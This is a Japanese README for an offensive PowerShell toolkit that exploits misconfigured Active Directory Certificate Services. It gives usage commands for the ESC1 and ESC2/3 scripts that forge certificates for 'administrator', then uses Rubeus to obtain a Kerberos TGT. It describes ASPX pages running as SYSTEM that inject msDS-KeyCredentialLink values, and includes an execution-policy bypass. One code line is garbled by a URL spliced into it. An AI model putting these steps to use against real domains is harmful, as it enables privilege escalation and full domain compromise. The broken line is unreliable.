Certi-Bhai: AD CS エクスプロイトツールキット

Certi-Bhaiは、Active Directory 証明書サービス（AD CS）の脆弱性を攻撃するためのPowerShellエクスプロイトツールの包括的なコレクションです。このツールキットは、ADCS環境における重大なセキュリティ設定ミスを実証するさまざまなエスカレーションシナリオ（ESC）を実装しています。

📋 目次

概要
ディレクトリ構造
前提条件
使用方法

🎯 概要

Active Directory 証明書サービス（AD CS）はしばしば誤って設定され、複数の攻撃ベクトルを生み出します。Certi-Bhaiは、一般的なADCSの脆弱性のセキュリティテストと調査のための実用的なエクスプロイトスクリプトとユーティリティを提供します。

許可されたテスト環境でのみ、責任を持って使用してください。

✅ 前提条件

Windows 7 / Windows Server 2008以降
PowerShell 3.0以上
Active Directoryドメイン参加済みシステム
証明書を要求するための適切な権限
AD CSインフラストラクチャへのアクセス
.NET Framework 3.5以上（ASP.NETスクリプト用）

必要なモジュール

# Active Directoryモジュール（オプション、機能拡張用）
Import-Module ActiveDirectory

🚀 使用方法

ESC1: 過度に寛容な証明書テンプレート

脆弱性: 証明書テンプレートが任意のSubjectAltName（SAN）値での登録を許可しています。

機能: 過度に寛容なテンプレートによって署名された証明書を作成し、ドメイン内の任意のユーザーまたはコンピューターになりすますことができます。

使用方法:

# ESC1ディレクトリに移動
cd ESC1

# エクスプロイトスクリプトを実行
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

パラメータ:

-subjectName: 対象ユーザーの完全識別名（DN）
-templateName: 脆弱な証明書テンプレートの名前
-altName: 要求する代替名（ユーザー名/コンピューター名）
-pfxPass: PFXエクスポート用のパスワード

出力: Rubeusなどのツールで使用するためのBase64エンコードされたPFX証明書

ビデオチュートリアル: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: 任意目的/証明書要求エージェントの悪用

脆弱性: 証明書要求エージェントは、任意のユーザーに代わって証明書を要求できます。

機能: 証明書要求エージェントとして証明書を登録し、その後、任意のプリンシパルに対して証明書を要求します。

使用方法:

# ESC3ディレクトリに移動
cd ESC3

# エクスプロイトスクリプトを実行
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

パラメータ:

-templateName: 脆弱な要求エージェントテンプレート
-target_user: 証明書を要求するプリンシパル
-domain: ドメイン名
-pfxPass: PFXパスワード

出力: Base64エンコードされた管理者証明書（PFX）

ビデオチュートリアル: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: 誤って設定されたスキーマバージョン1テンプレート

脆弱性: アプリケーションポリシーのインジェクション。

CSR生成と管理

クイックCSR生成

cd CSR_Generate

# 証明書署名要求を生成
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

証明機関へのCSR送信

# CSRをCAに送信
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

IIS権限昇格

証明書管理インターフェース

cert.aspx Webインターフェースは、AD CS RPCエンドポイントから証明書を要求するためのユーザーフレンドリーなフォームを提供します:

http://your-iis-server/cert.aspx

LDAP更新インターフェース

Webインターフェースを通じてLDAP属性を変更します。このスクリプトは基本的に、msDS-KeyCredentialLink属性にblobを注入するために使用されます:

http://your-iis-server/ldap_update.aspx

機能:

LDAP属性フィルタリング
オブジェクト変更機能
NT Authority\SYSTEMコンテキストでの実行

クイックリファレンスコマンド

ESC1エクスプロイト用

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

ESC2/3 ポストエクスプロイト用

# PFXをRubeusで使用可能な形式に変換
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

RubeusでTGTを要求

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 トラブルシューティング

一般的な問題

Q: スクリプトの実行がブロックされる

# PowerShellを管理者として実行
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

Q: 証明書テンプレートが見つからない

テンプレート名が正しいことを確認
テンプレートから要求する権限があることを確認
証明機関のログを確認

Q: LDAP接続が失敗する

ドメイン接続を確認
資格情報を確認
ADSIアクセスを確認

📝 技術詳細

証明書要求プロセス

秘密鍵を生成（2048ビットRSA）
証明書要求を作成（PKCS#10）
サブジェクト名と拡張子を設定
証明機関に送信
発行された証明書を取得
パスワード付きPFXとしてエクスポート

🤝 貢献

問題を発見した場合や改善点がある場合は、責任を持って報告してください。

Certi-Bhai

人気